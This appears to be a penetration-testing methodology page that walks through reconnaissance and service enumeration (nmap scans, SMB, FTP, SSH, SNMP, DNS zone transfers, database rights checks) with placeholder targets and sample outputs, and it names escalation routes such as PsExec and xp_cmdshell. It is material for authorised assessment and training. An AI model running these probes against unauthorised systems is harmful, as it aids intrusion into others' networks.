Attack-surface investigations
Choose a surface, inspect its output, then follow the missing prerequisite.
Suggested next checks
Discover attack surfaces
Validate the source path and discover hostsNot inspectedNo response, a new subnet, or uncertainty about the interface and route
Starting access: An explicitly assigned address or host list and a known source position
Discover the clue
ip addr
ip route get TARGET
nmap -sn SUBNET -oA host-discovery
Read the result
The route names the intended interface/source; a responder is evidence from that source, not a global reachability claim.
Still check: Check scope, target state and whether host-discovery probes are permitted by this path.
Illustrative output
TARGET via VPN_GATEWAY dev tun0 src SOURCE_IP Nmap scan report for HOSTNAME (TARGET) Host is up
Validate prerequisites and compare methods
Correct VPN/interface and explicit scope; discovery probes must be compatible with the path
ip addr
ip route get TARGET
nmap -sn SUBNET -oA host-discovery
What did you find?
Enabled: The assigned route is correct and the selected application responds: proceed to service coverage.
Ruled out here: The route points outside the assigned VPN: repair that route before evaluating the target.
Unresolved: No discovery response but a plausible route exists: the host may filter probes; test a justified selected port.
Show connections
These are conditional possibilities. Check the named condition before moving.
Discover TCP ports with SYN or connect scans — An assigned host needs an initial service queue or full TCP coverage
Requires: SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage
Probe UDP and resolve ambiguous silence — TCP enumeration is incomplete for the objective or DNS/SNMP/RPC clues suggest UDP
Requires: Raw-packet access and UDP reachability from the real source; bounded or full selection must be explicit
Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
Enumerate reachable endpoints from a Windows source — The useful vantage point is a Windows host without Nmap
Requires: A permitted Windows shell, explicit target list and built-in networking support
Discover TCP ports with SYN or connect scansNot inspectedAn assigned host needs an initial service queue or full TCP coverage
Starting access: An explicitly assigned address or host list and a known source position
Discover the clue
nmap -Pn -sT --top-ports 1000 TARGET -oA tcp-initial
nmap -Pn -sT -p- TARGET -oA tcp-full
Read the result
The high listener exists outside the first selection; its application label remains provisional.
Still check: Confirm scan completion, source, errors and application behavior on each interesting port.
Illustrative output
Initial selection: 22/tcp open ssh; 80/tcp open http Full selection also: 18080/tcp open unknown
Validate prerequisites and compare methods
SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage
nmap -Pn -sT --top-ports 1000 TARGET -oA tcp-initial
nmap -Pn -sT -p- TARGET -oA tcp-full
What did you find?
Enabled: A focused connection and application response confirm the listener: queue its service.
Ruled out here: The earlier result cannot be reproduced after a completed focused check: retire that stale listener hypothesis.
Unresolved: Filtered ports or interrupted scans leave coverage/reachability unresolved; save the limit and choose a focused check.
Show connections
These are conditional possibilities. Check the named condition before moving.
Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior
Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter
Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons
Identify applications and validate selected NSE checksNot inspectedA listener has a port-based label or uncertain version
Starting access: An explicitly assigned address or host list and a known source position
Discover the clue
nmap -Pn -sV -p PORTS TARGET -oA selected-services
Read the result
An HTTP response on a nonstandard port routes investigation to application mapping; a product string is still only fingerprint evidence.
Still check: Verify normal requests, hostname/TLS requirements and exact build/configuration before selecting an exploit.
Illustrative output
18080/tcp open http APPLICATION_SERVER Service detection performed
Validate prerequisites and compare methods
A reachable selected port; scripts must match the application and permitted assessment behavior
nmap -Pn -sV -p PORTS TARGET -oA selected-services
nmap --script-help SCRIPT_NAME
What did you find?
Enabled: Native protocol responses agree with the fingerprint: use that service's enumeration guide.
Ruled out here: A presumed SSH port instead speaks HTTP: discard the SSH-specific method for that endpoint.
Unresolved: Generic banners or timeouts do not identify a build; try protocol-aware/TLS discrimination.
Show connections
These are conditional possibilities. Check the named condition before moving.
Discriminate unknown listeners and use scanner alternatives — A nonstandard listener, slow TCP discovery or a scanner-specific candidate
Requires: Explicit bounded scope; raw scanning alternatives need their required privileges and conservative rates
Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Inspect rsync modules and retrieve selected artifacts — An rsync daemon banner, TCP/873 listener or disclosed rsync module
Requires: Reachable rsync daemon and a module/path readable by the anonymous or supplied account
Retrieve an evidence-backed file over TFTP — A UDP/69 service plus a plausible filename from configuration, source or boot metadata
Requires: Reachable TFTP service and an exact server-relative filename permitted for read or write
Use anonymous or authenticated FTP file access — An FTP banner or accessible listing
Requires: Anonymous login allowed or a valid FTP identity; data-channel connectivity and object-specific read/write rights
Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission
Enumerate SMTP identities and accessible mailbox protocols — SMTP capabilities or mail-related account clues
Requires: Reachable SMTP/POP3/IMAP service; enumeration or mailbox access must be enabled for the selected context
Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer
Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access
Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter
Extract configuration and process information through SNMP — UDP/161 evidence or an exposed management plane
Requires: An accepted read community or SNMPv3 identity/security level; transport and view permissions
Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions
Use SQL Server rights, impersonation and command facilities — SQL Server credentials or a Windows identity accepted by the database
Requires: Correct SQL versus Windows authentication; database role and configuration must permit the requested operation
Use PostgreSQL data and privileged program execution — PostgreSQL access or an application connection string
Requires: Accepted connection/database role; COPY PROGRAM needs the corresponding server privilege and an executable OS context
Inspect Redis access and persistence boundaries — A Redis listener or application cache credentials
Requires: Reachability and accepted authentication/ACL commands; persistence writes need CONFIG rights, destination permissions and a consumer
Triage Oracle listener and database identity — An Oracle TNS listener or connection descriptor
Requires: Correct service/SID, reachable database transport and valid database credentials for authenticated work
Validate RDP, WinRM, VNC and Telnet access contexts — An exposed remote-access application and compatible known credentials
Requires: Enabled destination service, matching authentication and protocol-specific logon/session rights
Discover LDAP naming contexts and authenticated search — LDAP/Kerberos listeners or a probable AD domain
Requires: Reachable directory; anonymous query permission or valid bind identity; required signing/TLS and naming context
Investigate SIP/IRC identity and configuration clues — A confirmed SIP or IRC application
Requires: Application-specific request format; permitted registration/channel/configuration access
Probe UDP and resolve ambiguous silenceNot inspectedTCP enumeration is incomplete for the objective or DNS/SNMP/RPC clues suggest UDP
Starting access: An explicitly assigned address or host list and a known source position
Discover the clue
sudo nmap -Pn -sU --top-ports 20 --reason TARGET -oA udp-initial
Read the result
A DNS response confirms a UDP application; open|filtered SNMP silence is a candidate requiring a correctly formatted request.
Still check: Check accepted service parameters, response identity and possible ICMP rate limiting.
Illustrative output
161/udp open|filtered snmp no-response 53/udp open domain udp-response
Validate prerequisites and compare methods
Raw-packet access and UDP reachability from the real source; bounded or full selection must be explicit
sudo nmap -Pn -sU --top-ports 20 --reason TARGET -oA udp-initial
sudo nmap -Pn -sU -sV -p 53,161 TARGET -oA udp-focused
What did you find?
Enabled: A service-native request returns the expected OID/record: enumerate that application.
Ruled out here: An explicit port-unreachable response rules out that UDP endpoint for this source/time.
Unresolved: Silence can mean open or filtered; use a justified application-aware probe rather than declaring either.
Show connections
These are conditional possibilities. Check the named condition before moving.
Extract configuration and process information through SNMP — UDP/161 evidence or an exposed management plane
Requires: An accepted read community or SNMPv3 identity/security level; transport and view permissions
Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer
Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access
Validate uncertain results and rebuild the service queueNot inspectedScanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Starting access: An explicitly assigned address or host list and a known source position
Discover the clue
nc -nvz TARGET PORT
nmap -Pn -sT -p PORT --reason TARGET
Read the result
Independent TCP reachability supports an endpoint candidate, not credentials, read permission or execution.
Still check: Identify the application and validate the particular next-layer action.
Illustrative output
Connection to TARGET PORT succeeded PORT/tcp open SERVICE syn-ack
Validate prerequisites and compare methods
A selected endpoint and a test that can resolve the decision-changing uncertainty
nc -nvz TARGET PORT
nmap -Pn -sT -p PORT --reason TARGET
What did you find?
Enabled: The protocol answers and the intended access check succeeds: record that specific capability.
Ruled out here: The expected protocol is absent despite a listener: reject that protocol-specific hypothesis.
Unresolved: Conflicting source/time results need a controlled repeat and route comparison.
Show connections
These are conditional possibilities. Check the named condition before moving.
Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities
Enumerate reachable endpoints from a Windows sourceNot inspectedThe useful vantage point is a Windows host without Nmap
Starting access: An explicitly assigned address or host list and a known source position
Discover the clue
Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4
Test-NetConnection TARGET -Port 445
Read the result
The service is reachable from this Windows source; this can reveal a useful vantage point unavailable from Kali.
Still check: Confirm application/authentication and whether a forward or a native client can use that route.
Illustrative output
InterfaceAlias : ADAPTER SourceAddress : SOURCE_IP RemotePort : 445 TcpTestSucceeded : True
Validate prerequisites and compare methods
A permitted Windows shell, explicit target list and built-in networking support
Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4
Test-NetConnection TARGET -Port PORT
What did you find?
Enabled: A protocol request works from this source: choose an authorized service client or suitable tunnel.
Ruled out here: The selected service is conclusively closed from this source: choose another observed endpoint.
Unresolved: TcpTestSucceeded False with uncertain routing/firewall does not prove the host is down.
Show connections
These are conditional possibilities. Check the named condition before moving.
Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty
Discriminate unknown listeners and use scanner alternativesNot inspectedA nonstandard listener, slow TCP discovery or a scanner-specific candidate
Starting access: An explicitly assigned address or host list and a known source position
Discover the clue
nmap -Pn -sV --version-all -p PORT TARGET
nc -nv TARGET PORT
Read the result
TLS and an HTTP redirect suggest a hostname-selected web application rather than an attack tied to the port number.
Still check: Reproduce the hostname/TLS request and confirm exact software/configuration.
Illustrative output
PORT/tcp open ssl/http APPLICATION HTTP/1.1 302 Found Location: https://HOSTNAME/
Validate prerequisites and compare methods
Explicit bounded scope; raw scanning alternatives need their required privileges and conservative rates
nmap -Pn -sV --version-all -p PORT TARGET
nc -nv TARGET PORT
What did you find?
Enabled: A correctly addressed request produces the application: move to its normal behavior map.
Ruled out here: The banner disproves the originally assumed protocol: remove that service hypothesis.
Unresolved: No banner may mean a client-first protocol, TLS or filtering; use a discriminating normal request.
Show connections
These are conditional possibilities. Check the named condition before moving.
Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior
Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Extract opportunities from services
Use anonymous or authenticated FTP file accessNot inspectedAn FTP banner or accessible listing
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
curl -v ftp://TARGET/
curl -v --user 'USER:PASSWORD' ftp://TARGET/
Read the result
A listing identifies candidate artifacts; a completed RETR with recognizable bytes establishes read access.
Still check: Validate the account context, file contents, data-channel reachability and any separate write/consumer conditions.
Illustrative output
230 Login successful LIST: application.conf; backups/ RETR application.conf: 226 Transfer complete
Validate prerequisites and compare methods
Anonymous login allowed or a valid FTP identity; data-channel connectivity and object-specific read/write rights
curl -v ftp://TARGET/
curl -v --user 'USER:PASSWORD' ftp://TARGET/
What did you find?
Enabled: The relevant file is readable and contains a current typed secret: follow credential classification.
Ruled out here: Anonymous login is denied: rule out anonymous access, retaining authenticated FTP as a separate possibility.
Unresolved: Login works but data transfer hangs: inspect active/passive data routing before concluding file access is denied.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Use SSH passwords, keys and forwarding-capable accessNot inspectedAn SSH service and a known password, private key or agent context
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
ssh -v -p PORT USER@TARGET
ssh -v -i KEY -p PORT USER@TARGET
Read the result
Accepted key authentication plus a verified shell identity establishes that specific login, not root or unrestricted forwarding.
Still check: Check actual account/shell/subsystem and separately inspect forwarding policy if a tunnel is needed.
Illustrative output
Authenticated to TARGET using publickey uid=USER_ID(USER) gid=GROUP_ID(GROUP)
Validate prerequisites and compare methods
Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission
ssh -v -p PORT USER@TARGET
ssh -v -i KEY -p PORT USER@TARGET
What did you find?
Enabled: The intended user can run commands: establish host/privilege/network state.
Ruled out here: The same valid key is not authorized for this user: rule out that username/key pairing.
Unresolved: A passphrase prompt or host policy rejection requires key/context diagnosis; it is not evidence that all SSH access is unavailable.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy
Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route
Enumerate SMTP identities and accessible mailbox protocolsNot inspectedSMTP capabilities or mail-related account clues
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
nc -nv TARGET 25
Then enter the protocol dialogue:
EHLO example.invalid
VRFY USER
VRFY INVALID_CONTROL
QUIT
Read the result
A reproducible reply difference can expose a possible mailbox identity.
Still check: Check catch-all policy and account context; recipient acceptance does not prove mailbox credentials or OS access.
Illustrative output
220 HOSTNAME ESMTP 250-VRFY VRFY USER -> 250 USER VRFY INVALID_CONTROL -> 550 No such user
Validate prerequisites and compare methods
Reachable SMTP/POP3/IMAP service; enumeration or mailbox access must be enabled for the selected context
nc -nv TARGET 25
What did you find?
Enabled: Controls support a real account and compatible credentials are available: validate its permitted mailbox/service access.
Ruled out here: All recipients are accepted by catch-all behavior: discard account-existence inference from this test.
Unresolved: Uniform policy replies leave usernames unknown; inspect another identity source.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer
Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter
Expand names through DNS records and zone transfersNot inspectedA DNS server, domain name or host aliases
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
dig @TARGET DOMAIN SOA
dig @TARGET DOMAIN NS
dig @TARGET DOMAIN AXFR
Read the result
An authoritative zone and returned records can expose hostnames, aliases and applications needing separate enumeration.
Still check: Check each new name's scope/address and verify host/virtual-host behavior.
Illustrative output
DOMAIN. SOA DC_HOST. HOSTMASTER. HOSTNAME.DOMAIN. A TARGET Transfer completed
Validate prerequisites and compare methods
Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer
dig @TARGET DOMAIN SOA
dig @TARGET DOMAIN NS
dig @TARGET DOMAIN AXFR
What did you find?
Enabled: A permitted transfer returns a relevant new host: validate it through discovery.
Ruled out here: Transfer refused rules out AXFR on this server/zone/context; ordinary records may remain useful.
Unresolved: A timeout or non-authoritative response requires authority/transport checks before any zone conclusion.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate the source path and discover hosts — No response, a new subnet, or uncertainty about the interface and route
Requires: Correct VPN/interface and explicit scope; discovery probes must be compatible with the path
Discover virtual hosts and hostname-selected applications — DNS names, redirects, certificate names or a default virtual-host response
Requires: A destination listener, relevant domain candidates and controlled Host/SNI routing
Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew
Inspect RPC/NFS exports and effective file identityNot inspectedRPC/NFS listeners or export information
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
rpcinfo -p TARGET
showmount -e TARGET
Read the result
An export lists a filesystem candidate and client policy; it does not establish file access or trusted UID 0.
Still check: Use the owning procedure to verify NFS version, allowed client, numeric identity mapping, read/write and squash/mount policy.
Illustrative output
100003 3 tcp NFS_PORT nfs Export list for TARGET: /EXPORT CLIENT_SCOPE
Validate prerequisites and compare methods
Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access
rpcinfo -p TARGET
showmount -e TARGET
What did you find?
Enabled: The relevant mapped identity can read configuration: retrieve and classify its useful artifacts.
Ruled out here: The export permits a different client scope: rule out this source's mount route.
Unresolved: Empty showmount can miss NFSv4 context; confirm version/export behavior before declaring no NFS access.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Exploit a permission-backed mount, NFS mapping or local service — A writable/exported filesystem or a loopback-only service with useful privileges
Requires: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Inspect rsync modules and retrieve selected artifactsNot inspectedAn rsync daemon banner, TCP/873 listener or disclosed rsync module
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
nmap -sV -p 873 --script rsync-list-modules TARGET
rsync rsync://TARGET/
rsync --list-only rsync://TARGET/MODULE/
Read the result
A visible module and file listing identify an rsync namespace; they do not establish write or execution.
Still check: Retrieve one selected file and verify its bytes; record anonymous or supplied-account context.
Illustrative output
Module: backups Listing: app/config.yml
Validate prerequisites and compare methods
Reachable rsync daemon and a module/path readable by the anonymous or supplied account
nmap -sV -p 873 --script rsync-list-modules TARGET
rsync rsync://TARGET/
rsync --list-only rsync://TARGET/MODULE/
What did you find?
Enabled: The selected artifact is readable and useful: inspect it locally and route any credential or path clue.
Ruled out here: The module lists but the file read is denied: reject read access for that path/context.
Unresolved: No module list may mean hidden modules rather than no rsync service; retain exact application evidence.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission
Retrieve an evidence-backed file over TFTPNot inspectedA UDP/69 service plus a plausible filename from configuration, source or boot metadata
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
tftp TARGET
tftp> binary
tftp> get FILE
tftp> quit
Read the result
The exact known filename is retrievable; TFTP still exposes no general directory namespace.
Still check: Verify recognizable bytes and provenance; distinguish read from any separately required write test.
Illustrative output
Transfer complete Local file: recognizable configuration bytes
Validate prerequisites and compare methods
Reachable TFTP service and an exact server-relative filename permitted for read or write
tftp TARGET
tftp> binary
tftp> get FILE
tftp> quit
What did you find?
Enabled: The intended artifact is recovered: inspect it and follow its concrete paths or credentials.
Ruled out here: A server error says the exact filename is unavailable or denied in this context: reject that name.
Unresolved: Timeout is ambiguous across UDP reachability, transfer-port policy and filename handling.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Enumerate SMB/RPC shares, files and identitiesNot inspectedSMB/RPC endpoints, domain clues or new credentials
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
smbclient -L //TARGET -N
smbclient -L //TARGET -U 'DOMAIN/USER'
Read the result
A share name supplies a filesystem investigation target; listing it does not prove read, write or service creation.
Still check: Connect to the named share under the identity that listed it, then ls/get the exact object. Listing a share does not prove read or write. For a write candidate, verify the path operation and identify a separate execution consumer before treating it as access.
Illustrative output
Sharename Type SHARE Disk NETLOGON Disk
Validate prerequisites and compare methods
Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter
smbclient -L //TARGET -N
smbclient -L //TARGET -U 'DOMAIN/USER'
What did you find?
Enabled: A relevant configuration can be retrieved: inspect its account/secret context.
Ruled out here: The authenticated account cannot read that object: discard the read path for this identity, not all SMB opportunities.
Unresolved: Login succeeds but listing fails: check a justified known share path and separate share/NTFS authorization.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Read domain shares, SYSVOL and NETLOGON for useful artifacts — A valid domain identity and accessible file services
Requires: Reachable SMB plus share/object read rights in the chosen identity context
Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
Extract configuration and process information through SNMPNot inspectedUDP/161 evidence or an exposed management plane
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1.1
Read the result
A real OID response confirms the accepted read context and supplies software/name clues.
Still check: Determine which useful views/branches are actually readable; process data and write rights are separate.
Illustrative output
SNMPv2-MIB::sysDescr.0 = STRING: OS_AND_BUILD SNMPv2-MIB::sysName.0 = STRING: HOSTNAME
Validate prerequisites and compare methods
An accepted read community or SNMPv3 identity/security level; transport and view permissions
snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1.1
What did you find?
Enabled: A relevant interface/process branch returns useful data: follow the named subnet/application/credential.
Ruled out here: An explicit authorization failure rules out that security context/view.
Unresolved: UDP silence can be routing, version, community or view policy; a timeout cannot choose between them.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate the source path and discover hosts — No response, a new subnet, or uncertainty about the interface and route
Requires: Correct VPN/interface and explicit scope; discovery probes must be compatible with the path
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Use MySQL/MariaDB data and file primitivesNot inspectedA MySQL-compatible service and valid application/database credentials
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
SELECT USER(),CURRENT_USER(),VERSION();
SHOW GRANTS;
SHOW VARIABLES LIKE 'secure_file_priv';
Read the result
SELECT permits data investigation; absent FILE/admin rights and the restricted directory constrain file/OS hypotheses.
Still check: Check exact grants, useful tables, destination OS permissions and an execution consumer before escalating a file operation.
Illustrative output
CURRENT_USER(): APP_USER@% GRANT SELECT ON APP_DB.* secure_file_priv: /RESTRICTED_DIRECTORY/
Validate prerequisites and compare methods
Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions
SELECT USER(),CURRENT_USER(),VERSION();
SHOW GRANTS;
SHOW VARIABLES LIKE 'secure_file_priv';
What did you find?
Enabled: A useful readable table or fully validated file consumer exists: choose that precise primitive.
Ruled out here: No required FILE privilege rules out the proposed LOAD_FILE/OUTFILE chain for this account.
Unresolved: Incomplete grants or unknown server path keeps file capability unresolved; inspect before selecting it.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
Execute an uploaded file through a compatible handler — Uploads are retrievable and the application stack suggests an executable file handler
Requires: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted
Use SQL Server rights, impersonation and command facilitiesNot inspectedSQL Server credentials or a Windows identity accepted by the database
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
SELECT SYSTEM_USER, ORIGINAL_LOGIN(), @@VERSION;
SELECT IS_SRVROLEMEMBER('sysadmin');
Read the result
A valid login with sysadmin=0 is data/rights evidence, not permission to enable xp_cmdshell.
Still check: Enumerate actual database/server grants and useful impersonation; independently verify any OS facility and its identity.
Illustrative output
SYSTEM_USER: DOMAIN\USER ORIGINAL_LOGIN: DOMAIN\USER IS_SRVROLEMEMBER: 0
Validate prerequisites and compare methods
Correct SQL versus Windows authentication; database role and configuration must permit the requested operation
SELECT SYSTEM_USER, ORIGINAL_LOGIN(), @@VERSION;
SELECT IS_SRVROLEMEMBER('sysadmin');
What did you find?
Enabled: Required role/configuration and OS effect are verified: use the supported database-to-command method.
Ruled out here: No facility/impersonation right rules out that proposed OS chain while readable data may remain.
Unresolved: A failed role query or unknown proxy context needs a narrower rights check.
Show connections
These are conditional possibilities. Check the named condition before moving.
Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Use PostgreSQL data and privileged program executionNot inspectedPostgreSQL access or an application connection string
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
SELECT current_user,session_user,version();
SELECT rolname,rolsuper FROM pg_roles WHERE rolname=current_user;
Read the result
An ordinary database role does not automatically have COPY PROGRAM or server-file access.
Still check: Inspect effective role memberships and exact operation rights, then the database service's OS context.
Illustrative output
current_user | session_user APP_USER | APP_USER rolname | rolsuper APP_USER | f
Validate prerequisites and compare methods
Accepted connection/database role; COPY PROGRAM needs the corresponding server privilege and an executable OS context
SELECT current_user,session_user,version();
SELECT rolname,rolsuper FROM pg_roles WHERE rolname=current_user;
What did you find?
Enabled: The needed execution/file role and a usable consumer are established: select that documented operation.
Ruled out here: No superuser or required operation-specific privilege rules out the proposed program-execution route.
Unresolved: Unknown inherited role rights leave the operation unresolved; enumerate memberships before deciding.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Inspect Redis access and persistence boundariesNot inspectedA Redis listener or application cache credentials
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
redis-cli -h TARGET -p PORT PING
Read the result
The connection is usable but command ACLs can remove persistence/configuration methods.
Still check: Inspect allowed operations, data visibility and actual persistence/destination/consumer conditions.
Illustrative output
PONG Administrative operation: NOPERM this user has no permissions
Validate prerequisites and compare methods
Reachability and accepted authentication/ACL commands; persistence writes need CONFIG rights, destination permissions and a consumer
redis-cli -h TARGET -p PORT PING
What did you find?
